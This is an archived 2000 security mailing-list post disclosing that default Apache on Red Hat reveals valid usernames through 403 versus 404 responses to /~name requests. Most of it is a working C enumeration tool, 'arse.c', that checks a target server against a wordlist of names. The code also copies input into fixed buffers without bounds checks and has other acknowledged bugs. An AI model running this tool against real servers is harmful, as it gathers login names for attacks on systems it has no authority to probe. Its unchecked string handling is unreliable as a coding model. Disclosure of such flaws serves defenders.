OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: (no subject)
From: The Incubus (incubusSECURAX.ORG)
Date: Wed Jul 05 2000 - 12:03:30 CDT

Hi there,

probably this is already known, but I've noticed that a default install of
Apache on a RedHat linux server can give you valid logins... I did check
the apache and redhat websites for this misconfiguration, but didn't find
anything... I also checked securityfocus and such, and didn't find anything
either...

When we do www.redhatserver.com/~validlogin we get a 403, when we try with
another login (which is not valid) we get a 404.

I'm so sorry if this is already known, send this stuff to /dev/null then...

regards,

Michael Hendrickx

ps: I wrote this little c program which does the login-guessing
automatically.... okay, the code is a bit sloppy but what can i say.. i suck
bigtime.

 /*
  * arse.c
  * --------
  * Apache and Redhat Security Exploit (k, sorry for the name :))
  *
  * ./arse www.server.com 80 file_with_names
  *
  * by Incubus
  * incubussecurax.org
  *
  * Greetz to G-girl, Root-dude, Securax, Zsh and ShellOracle.
  * minor bug: the last name is checked twice.
  *
  */

#include <netdb.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>

int main(int argc, char **argv){
    char user[100];
    char test[100];
    int port, sock, result;
    struct sockaddr_in name;
    struct hostent *hostinfo;
    char buffer[2048];
    char url[120];
    FILE *file;
    if (argc != 4){
 printf ("\nApache and Redhat Security Exploit.\n");
 printf ("-----------------------------------\n");
 printf ("usage: %s www.server.com 80 file_with_names.\n", argv[0]);
 printf ("Written by Incubus, (incubussecurax.org)\n\n");
 exit(0);
    }
    file = fopen(argv[3], "r");
    if (file == NULL){
 printf ("Error opening %s, exiting.\n", argv[3]); exit(-1);
    }
    port=atoi(argv[2]);
    hostinfo=gethostbyname(argv[1]);
    if (!hostinfo){
 printf("Error: unknown host %s (maybe a typo?)\n", argv[1]);
 exit(-1);
    }
    name.sin_family=AF_INET;
    name.sin_port=htons(port);
    name.sin_addr=*(struct in_addr *)hostinfo->h_addr;
    sock=socket(AF_INET, SOCK_STREAM, 0);
    if (sock < 0){
 printf ("Error: socket error.\n\n");
 exit(-1);
    }
    result=connect(sock, (struct sockaddr *)&name, sizeof(struct
sockaddr_in));
    if (result != 0){
 printf ("Error: Socket error.\n\n");
 exit(-1);
    }
    send(sock, "HEAD / HTTP/1.0\n\n",18, 0);
    recv(sock, buffer, sizeof(buffer), 0);
    close(sock);
    if (!(strstr(buffer,"Server: Apache"))){
 printf ("%s is not running Apache on port %s, exiting.\n", argv[1],
argv[2]);
 exit(-1);
    }
    while (!feof(file)){
 fscanf(file, "%s", user);
 strcpy(test,"HEAD /~");
 strcat(test, user);
 strcat(test, " HTTP/1.0\n\n");
 sock=socket(AF_INET, SOCK_STREAM, 0);
 connect(sock, (struct sockaddr *)&name, sizeof(struct sockaddr_in));
 send(sock, test , sizeof(test) , 0);
 recv(sock, buffer, sizeof(buffer), 0);
 close(sock);
 if (strstr(buffer, "403 Forbidden"))
     printf ("%s is a user.\n", user);
 if (strstr(buffer, "200 Ok"))
     printf ("%s is a user.\n", user);
    }
}